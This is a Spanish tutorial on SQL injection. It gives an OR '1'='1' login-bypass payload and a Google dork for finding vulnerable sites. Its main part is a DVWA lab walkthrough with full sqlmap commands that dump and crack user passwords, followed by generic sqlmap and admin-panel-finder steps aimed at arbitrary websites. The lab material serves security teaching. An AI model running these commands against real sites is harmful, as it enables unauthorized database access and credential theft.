Ataque SQL Injection en PHP

La inyección SQL es un método de infiltración de código intruso que se vale de una vulnerabilidad informática presente en una aplicación en el nivel de validación de las entradas para realizar operaciones sobre una base de datos.

El origen de la vulnerabilidad radica en la incorrecta comprobación o filtrado de las variables utilizadas en un programa que contiene, o bien genera, código SQL. Es, de hecho, un error de una clase más general de vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o script que esté embebido dentro de otro.

Se conoce como Inyección SQL, indistintamente, al tipo de vulnerabilidad, al método de infiltración, al hecho de incrustar código SQL intruso y a la porción de código incrustado.

Se dice que existe o se produjo una inyección SQL cuando, de alguna manera, se inserta o “inyecta” código SQL invasor dentro del código SQL programado, a fin de alterar el funcionamiento normal del programa y lograr así que se ejecute la porción de código “invasor” incrustado, en la base de datos.

Este tipo de intrusión normalmente es de carácter malicioso, dañino o espía, por tanto es un problema de seguridad informática, y debe ser tomado en cuenta por el programador de la aplicación para poder prevenirlo. Un programa elaborado con descuido, displicencia o con ignorancia del problema, podrá resultar ser vulnerable, y la seguridad del sistema (base de datos) podrá quedar eventualmente comprometida.

La intrusión ocurre durante la ejecución del programa vulnerable, ya sea, en computadores de escritorio o bien en sitios Web, en este último caso obviamente ejecutándose en el servidor que los aloja.

La vulnerabilidad se puede producir automáticamente cuando un programa “arma descuidadamente” una sentencia SQL en tiempo de ejecución, o bien durante la fase de desarrollo, cuando el programador explicita la sentencia SQL a ejecutar en forma desprotegida. En cualquier caso, siempre que el programador necesite y haga uso de parámetros a ingresar por parte del usuario, a efectos de consultar una base de datos; ya que, justamente, dentro de los parámetros es donde se puede incorporar el código SQL intruso.

Al ejecutarse la consulta en la base de datos, el código SQL inyectado también se ejecutará y podría hacer un sinnúmero de cosas, como insertar registros, modificar o eliminar datos, autorizar accesos e, incluso, ejecutar otro tipo de código malicioso en el computador.

Las técnicas explicadas a continuación tienen un propósito estrictamente educacional y de investigación. Un uso malintencionado podría derivar en sanciones económicas y en penas de prisión. Un fantasma en el sistema deniega cualquier tipo de responsabilidad sobre el mal uso que un usuario pudiera hacer del conocimiento adquirido en esta lectura.

Es importante entender bien como se estructuran la base de datos ya que para un ataque de SQL Injection se utilizara el propio lenguaje de SQL:

Crear una tabla: Create Table + (nombre tabla) + opciones.

Insertar información: Insert into “nombre archivo” (field1,field2) values(data1,data2).

Consultas: Select *from sec-activ group_by field1

El “*” significa que quiere todos los datos sobre la consulta; si por el contrario quisiéramos algo mas concreto lo sustituiríamos por el concepto a consultar.

Especificar campos(field): Select * field1, field2 from sec-activ

Filtrando valores: Select* from sec-activ where field1 = (concepto a buscar)

Los ataques de SQL van orientados principalmente a formularios de login de una web o a un servicio. Cuando insertamos usuarios y contraseñas, lo que se hace internamente es un SELECT de todo de una tabla (*), que suelen llamarse usuarios, users y también contiene los MD5 de la contraseña.

Por ejemplo:

Sql = SELECT * FROM usuario WHERE usuario = `$usuario` and password = `$pass`;

Si tiene éxito, quiere decir que hemos insertado un usuario y contraseña correcto y podremos acceder a web al panel del administrador a la base de datos.

Por el contrario,si no se validaran esos datos introducidos puede ser que acepte lógicas para poder llevar a unas vulnerabilidades para obtener acceso.

Por ejemplo:

Sql = SELECT *FROM ususario WHERE ususario = `sec-activ` and password =`1234`OR `1`=`1`;

Aquí la lógica sobre el usuario sec-activ no será 1234, pero 1 si es igual 1, por lo que dicha sentencia seria correcta.

Dependiendo de la base de datos a utilizar hay ciertas funciones que si son vulnerables van a importar datos importantes y relevante de una tabla de usuario.

También nos va a decir como se llama la base de datos: DATABASE()

Y también el usuario y host: USER()

En estas bases de datos relacionales se encontrará INFORMATION_SCHEMA que está por defecto y tiene información del resto de las bases de datos:

TABLES: Información de las tablas.

COLUMNS: Información de las columnas en tablas.

STATISTICS: Información de los índices de las tablas.

USER_PRIVILEGES: Los permisos globales.

Los Google Dorks es una técnica que utiliza operadores para filtrar información en el buscador de Google. Además podemos encontrar otras aplicaciones de agujeros de seguridad en la configuración y el código informático que se utilizan en las páginas web.

Para encontrar páginas que pudieran ser vulnerable al SQLinjection usaríamos un comando como:

inurl:php?id=3

Si accedemos a alguna de estas páginas y al final de la url añadimos una comilla simple (‘), la que suele estar a continuación del 0:

y recargamos al página, podemos obtener una información relevante:

Para hacer las pruebas utilizaremos un entorno controlado. DVWA (Damn Vulnerable Web App) es una aplicación web basada en PHP y MySQL, y con la que podremos probar todo lo que queramos:

http://www.dvwa.co.uk/

Descargaremos esta aplicación y la instalaremos en una máquina virtual Ubuntu que tenga instalado también php, phpmyadmin, mysql y apache server.

Ahora vamos a instalar una extensión para nuestro navegador Firefox en Kali Linux. La extensión se llama Tamper data:

Veremos la IP que tenemos asignada en la máquina Ubuntu con ifconfig:

y pondremos esa IP en el navegador de Kali Linux de la siguiente manera:

http://192.168.1.79/dvwa/login.php

veremos la pagina de acceso donde nos pedirá un usuario y una contraseña:

Usuario: admin

Password: password

Accedemos a la página de inicio donde podemos ver en el menú de la izquierda las distintas pruebas que podremos hacer:

Pincharemos en la opción SQL Injection y aparecerá una pantalla donde nos pedirá un user ID:

Si ponemos por ejemplo 1 para ver si este usuario existe ya que lo más probable es que sea el administrador nos dará como respuesta que efectivamente es así:

Ahora abriremos Tamper data desde el navegador y le damos a start. Seguidamente volvemos a pinchar sobre SQLInjection en la aplicación DVWA:

Pinchamos en OK en la extensión Tamper data y nos saldrá la siguiente ventana:

Nos vamos a fijar donde pone Cookie y nos indica que la seguridad es alta (security=high).

Vamos a cambiar esto y lo haremos en DVWA accediendo a Security:

y donde pone high lo cambiaremos por low para poder emular a una página web con vulnerabilidades. Le damos a Submit:

Volvemos otra vez a SQLInjection y pondremos otra vez 1 en el user ID. En el Tamper data podremos observar como el nivel de seguridad de la Cookie ha cambiado a low:

Con la información que tenemos vamos a abrir desde el menú de Kali, SQLmap:

para realizar el análisis pondremos sqlmap -u seguido de la url (entre comilla simple) de la página que contiene la cookie. Al final le pondremos el texto completo dela cookie que nos aparece en el Tamper data y --string=”Surname” --dbs

En mi caso quedaría de la siguiente manera:

sqlmap -u 'http://192.168.1.79/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie='security=low; PHPSESSID=s5o8qtr2kjegu2loqql7dhbk25' --string="Surname" --dbs

le damos a intro y ponemos una Y para indicar que si a las dos primeas preguntas que nos hace:

luego le damos a N para la última pregunta:

en el resultado nos muestra las bases de datos que tiene esa máquina:

[11:23:53] [INFO] fetching database names

available databases [5]:

[*] dvwa

[*] information_schema

[*] mysql

[*] performance_schema

[*] phpmyadmin

para ver las tablas de una de esas bases de datos utilizaremos el mismo comando de antes pero quitando --string="Surname" --dbs y poniendo en su lugar -D elnombredelabasededatos --tables

sqlmap -u 'http://192.168.1.79/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie='security=low; PHPSESSID=s5o8qtr2kjegu2loqql7dhbk25' -Ddvwa --tables

En el resultado nos muestra las tablas que contiene esa base de datos:

para ver ahora las columnas que hay dentro de esa tabla, por ejemplo la de users, volveremos a usar el mismo comando pero esta vez cambiaremos --tables por -T y añadiremos el nombre de la tabla y --column

sqlmap -u 'http://192.168.1.79/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie='security=low; PHPSESSID=s5o8qtr2kjegu2loqql7dhbk25' -Ddvwa -T users --column

en el resultado nos muestra ahora las columnas que tiene dicha tabla y el tipo de variable:

si de esta tabla queremos ver el contenido de user y password que serían los más relevantes volveremos aponer el mismo comando pero esta vez cambiaremos --column por -C y pondremos el nombre de las columnas que queremos ver separados por una coma y al final --dump:

sqlmap -u 'http://192.168.1.79/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie='security=low; PHPSESSID=s5o8qtr2kjegu2loqql7dhbk25' -Ddvwa -T users -C user,password --dump

a la pregunta le daremos a N por defecto:

volvemos a darle a intro por defecto:

y elegiremos la opción 1 para usar el diccionario que tiene sqlmap:

volvemos a dar a intro para que coja la opción por defecto y el diccionario utilizará fuerza bruta para sacar las contraseñas:

en el resultado hemos podido ver como nos muestra la contraseña encriptada y desencriptada para cada usuario.

En el mismo resultado también nos indica que ha generado un fichero csv con el resultado del análisis:

[11:54:09] [INFO] table ‘dvwa.users’ dumped to CSV file ‘/root/.sqlmap/output/192.168.1.79/dump/dvwa/users.csv’

Si abrimos este fichero:

vemos que tiene el contenido de los datos que hemos obtenido:

Adicionalmente a esto, con sqlmap podemos encontrar en páginas web con vulnerabilidad los usuarios con:

sqlmap -u paginaweb.com --users

o passwords con:

sqlmap -u paginaweb.com --passwords

o bases de datos:

sqlmap -u paginaweb.com --dbs

Cuando tenemos un usuario y una contraseña y queremos acceder a la página web lo podemos hacer por ejemplo con la aplicación adminfinder. La podemos bajar con:

git clone https://github.com/the-robot/admin-finder.git

si accedemos a la carpeta que nos ha clonado encontraremos el archivo adm-finder.py

al cual le vamos a dar permisos de ejecución:

seguidamente lo ejecutaremos con

python adm-finder.py

y pondremos la url de la página a escanear. La aplicación probará con todas las combinaciones:

admin

administrator

admin1

admin2

admin3

admin4

admin5

usuarios

usuario

administrator

moderator

webadmin

adminarea

bb-admin

adminLogin

admin_area

panel-administracion

instadmin

memberadmin

administratorlogin

adm

admin/account.php

admin/index.php

admin/login.php

admin/admin.php

admin/account.php

admin_area/admin.php

admin_area/login.php

siteadmin/login.php

siteadmin/index.php

siteadmin/login.html

admin/account.html

admin/index.html

admin/login.html

admin/admin.html

admin_area/index.php

index.php

login.php

admin.php

y así sucesivamente hasta encontrar una que funcione: